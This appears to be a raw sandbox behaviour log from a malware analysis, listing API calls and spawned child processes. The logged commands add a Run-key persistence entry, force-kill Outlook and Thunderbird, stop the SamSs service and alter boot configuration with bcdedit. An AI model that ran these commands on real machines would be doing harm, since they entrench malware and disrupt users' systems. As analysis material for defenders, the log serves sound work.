	[0176.765] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\reg.exe", lpCommandLine="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x28f470*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28f420 | out: lpCommandLine="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64", lpProcessInformation=0x28f420*(hProcess=0x54, hThread=0x50, dwProcessId=0x1158, dwThreadId=0x115c)) returned 1
	[0176.791] CloseHandle (hObject=0x50) returned 1
	[0176.791] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0176.791] GetProcessHeap () returned 0x460000
	[0176.791] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47adc0 | out: hHeap=0x460000) returned 1
	[0176.791] GetEnvironmentStringsW () returned 0x47adc0*
	[0176.791] GetProcessHeap () returned 0x460000
	[0176.791] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xac4) returned 0x478bf0
	[0176.792] FreeEnvironmentStringsW (penv=0x47adc0) returned 1
	[0176.792] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0224.321] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x28f368 | out: lpExitCode=0x28f368*=0x0) returned 1
	[0224.321] CloseHandle (hObject=0x54) returned 1
	[0224.321] _vsnwprintf (in: _Buffer=0x28f5d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x28f378 | out: _Buffer="00000000") returned 8
	[0224.322] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0224.323] GetProcessHeap () returned 0x460000
	[0224.323] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x478bf0 | out: hHeap=0x460000) returned 1
	[0224.323] GetEnvironmentStringsW () returned 0x47c2c0*
	[0224.323] GetProcessHeap () returned 0x460000
	[0224.323] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xaea) returned 0x478bf0
	[0224.323] FreeEnvironmentStringsW (penv=0x47c2c0) returned 1
	[0224.323] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0224.324] GetProcessHeap () returned 0x460000
	[0224.324] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x478bf0 | out: hHeap=0x460000) returned 1
	[0224.324] GetEnvironmentStringsW () returned 0x47c2c0*
	[0224.324] GetProcessHeap () returned 0x460000
	[0224.324] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xaea) returned 0x478bf0
	[0224.324] FreeEnvironmentStringsW (penv=0x47c2c0) returned 1
	[0224.324] GetProcessHeap () returned 0x460000
	[0224.324] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47c2a0 | out: hHeap=0x460000) returned 1
	[0224.324] DeleteProcThreadAttributeList (in: lpAttributeList=0x28f438 | out: lpAttributeList=0x28f438) 
	[0224.324] _get_osfhandle (_FileHandle=1) returned 0x7
	[0224.324] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0224.325] _get_osfhandle (_FileHandle=1) returned 0x7
	[0224.325] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1
	[0224.326] _get_osfhandle (_FileHandle=0) returned 0x3
	[0224.326] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1
	[0224.327] SetConsoleInputExeNameW () returned 0x1
	[0224.327] GetConsoleOutputCP () returned 0x1b5
	[0224.327] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0224.327] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0224.328] exit (_Code=0) 

Process:
	id = "27"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x32cd8000"
	os_pid = "0x488"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM calculate-hung.exe /F"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 144
	os_tid = 0x524


Thread:
	id = 593
	os_tid = 0x10ec


Thread:
	id = 606
	os_tid = 0x1124


Thread:
	id = 618
	os_tid = 0x1180


Thread:
	id = 619
	os_tid = 0x1184


Process:
	id = "28"
	image_name = "bcdedit.exe"
	filename = "c:\\windows\\system32\\bcdedit.exe"
	page_root = "0x3196f000"
	os_pid = "0xa4c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "18"
	os_parent_pid = "0x484"
	cmd_line = "bcdedit  /set {default}"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 171
	os_tid = 0x754


Process:
	id = "29"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x305af000"
	os_pid = "0x3ac"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM outlook.exe /F"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 249
	os_tid = 0x340


Thread:
	id = 607
	os_tid = 0x1128


Thread:
	id = 617
	os_tid = 0x1170


Thread:
	id = 625
	os_tid = 0x11a0


Thread:
	id = 626
	os_tid = 0x11a4


Process:
	id = "30"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x30e04000"
	os_pid = "0xdd0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM calculate-hung.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 365
	os_tid = 0xdd4


Thread:
	id = 612
	os_tid = 0x1150


Thread:
	id = 620
	os_tid = 0x1188


Thread:
	id = 641
	os_tid = 0x11e8


Thread:
	id = 642
	os_tid = 0x11ec


Process:
	id = "31"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x2ed4f000"
	os_pid = "0x1034"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM thunderbird.exe /F"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 555
	os_tid = 0x1038


Thread:
	id = 632
	os_tid = 0x11bc


Thread:
	id = 650
	os_tid = 0x1218


Thread:
	id = 653
	os_tid = 0x1230


Thread:
	id = 654
	os_tid = 0x1234


Process:
	id = "32"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x30324000"
	os_pid = "0x1054"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM outlook.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 559
	os_tid = 0x1058


Thread:
	id = 640
	os_tid = 0x11dc


Thread:
	id = 651
	os_tid = 0x1224


Thread:
	id = 656
	os_tid = 0x123c


Thread:
	id = 657
	os_tid = 0x1240


Process:
	id = "33"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x2ec79000"
	os_pid = "0x1140"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 610
	os_tid = 0x1144


Process:
	id = "34"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x30f44000"
	os_pid = "0x1148"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM thunderbird.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 611
	os_tid = 0x114c


Thread:
	id = 658
	os_tid = 0x1248


Thread:
	id = 661
	os_tid = 0x125c


Thread:
	id = 663
	os_tid = 0x126c


Thread:
	id = 664
	os_tid = 0x1270


Process:
	id = "35"
	image_name = "reg.exe"
	filename = "c:\\windows\\system32\\reg.exe"
	page_root = "0x30a1b000"
	os_pid = "0x1158"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "26"
	os_parent_pid = "0x78c"
	cmd_line = "REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 614
	os_tid = 0x115c

	[0180.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16ff30 | out: lpSystemTimeAsFileTime=0x16ff30*(dwLowDateTime=0x4dec0180, dwHighDateTime=0x1d5cdef)) 
	[0180.258] GetCurrentProcessId () returned 0x1158
	[0180.258] GetCurrentThreadId () returned 0x115c
	[0180.258] GetTickCount () returned 0x1170d2b
	[0180.258] QueryPerformanceCounter (in: lpPerformanceCount=0x16ff38 | out: lpPerformanceCount=0x16ff38*=32181830128) returned 1
	[0180.261] GetModuleHandleW (lpModuleName=0x0) returned 0xff720000
	[0180.261] __set_app_type (_Type=0x1) 
	[0180.261] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff7300d0) returned 0x0
	[0180.262] __wgetmainargs (in: _Argc=0xff732140, _Argv=0xff732150, _Env=0xff732148, _DoWildCard=0, _StartInfo=0xff73215c | out: _Argc=0xff732140, _Argv=0xff732150, _Env=0xff732148) returned 0
	[0180.263] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 1
	[0180.266] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0180.267] RegOpenKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x16ff08 | out: phkResult=0x16ff08*=0x0) returned 0x2
	[0180.268] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0180.268] lstrlenW (lpString="-?|/?|-h|/h") returned 11
	[0180.268] GetProcessHeap () returned 0x1d0000
	[0180.268] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1eb640
	[0180.268] lstrlenW (lpString="") returned 0
	[0180.268] GetProcessHeap () returned 0x1d0000
	[0180.268] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x2) returned 0x1eb660
	[0180.268] GetProcessHeap () returned 0x1d0000
	[0180.268] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5a20
	[0180.269] GetProcessHeap () returned 0x1d0000
	[0180.269] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1eb680
	[0180.269] GetProcessHeap () returned 0x1d0000
	[0180.269] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5a50
	[0180.269] GetProcessHeap () returned 0x1d0000
	[0180.269] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5a80
	[0180.269] GetProcessHeap () returned 0x1d0000
	[0180.269] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5ab0
	[0180.269] GetProcessHeap () returned 0x1d0000
	[0180.269] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5ae0
	[0180.269] GetProcessHeap () returned 0x1d0000
	[0180.269] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1eb6a0
	[0180.269] GetProcessHeap () returned 0x1d0000
	[0180.270] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5b10
	[0180.270] GetProcessHeap () returned 0x1d0000
	[0180.270] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5b40
	[0180.270] GetProcessHeap () returned 0x1d0000
	[0180.270] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5b70
	[0180.270] GetProcessHeap () returned 0x1d0000
	[0180.270] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5ba0
	[0180.270] GetProcessHeap () returned 0x1d0000
	[0180.270] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1eb6c0
	[0180.270] GetProcessHeap () returned 0x1d0000
	[0180.270] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5bd0
	[0180.270] GetProcessHeap () returned 0x1d0000
	[0180.270] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5c00
	[0180.270] GetProcessHeap () returned 0x1d0000
	[0180.270] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5c30
	[0180.270] GetProcessHeap () returned 0x1d0000
	[0180.271] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5c60
	[0180.271] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0180.271] GetProcessHeap () returned 0x1d0000
	[0180.271] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1eb6e0
	[0180.272] _memicmp (_Buf1=0x1eb6e0, _Buf2=0xff721458, _Size=0x7) returned 0
	[0180.272] GetProcessHeap () returned 0x1d0000
	[0180.272] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x1e) returned 0x1e5c90
	[0180.272] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0180.272] GetProcessHeap () returned 0x1d0000
	[0180.272] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1eb700
	[0180.272] _memicmp (_Buf1=0x1eb700, _Buf2=0xff721458, _Size=0x7) returned 0
	[0180.272] GetProcessHeap () returned 0x1d0000
	[0180.272] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x86) returned 0x1eb880
	[0180.273] _vsnwprintf (in: _Buffer=0x1e5c90, _BufferCount=0xe, _Format="|%s|", _ArgList=0x16fd08 | out: _Buffer="|-?|/?|-h|/h|") returned 13
	[0180.273] _vsnwprintf (in: _Buffer=0x1eb880, _BufferCount=0x42, _Format="|%s|", _ArgList=0x16fd08 | out: _Buffer="|HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|") returned 65
	[0180.273] lstrlenW (lpString="|-?|/?|-h|/h|") returned 13
	[0180.273] lstrlenW (lpString="|HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|") returned 65
	[0180.273] SetLastError (dwErrCode=0x490) 
	[0180.273] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0180.273] GetProcessHeap () returned 0x1d0000
	[0180.273] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x80) returned 0x1eb910
	[0180.273] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0180.273] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0180.273] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0180.273] StrChrW (lpStart=" \x09", wMatch=0x4b) returned 0x0
	[0180.273] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x59) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0180.274] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0180.275] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0180.276] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0180.277] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0180.278] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0
	[0180.278] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0180.278] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0180.278] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", cchCount1=2, lpString2="\\\\", cchCount2=2) returned 3
	[0180.278] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0180.278] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0180.278] StrChrIW (lpStart="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
	[0180.281] lstrlenW (lpString="HKEY_CURRENT_CONFIG") returned 19
	[0180.282] GetProcessHeap () returned 0x1d0000
	[0180.282] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x28) returned 0x1e5cc0
	[0180.282] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER", cchCount1=-1, lpString2="HKCU", cchCount2=-1) returned 3
	[0180.282] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER", cchCount1=-1, lpString2="HKEY_CURRENT_USER", cchCount2=-1) returned 2
	[0180.282] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0180.282] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0180.282] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0180.282] StrChrIW (lpStart="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\Microsoft\\Windows\\CurrentVersion\\Run"
	[0180.282] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
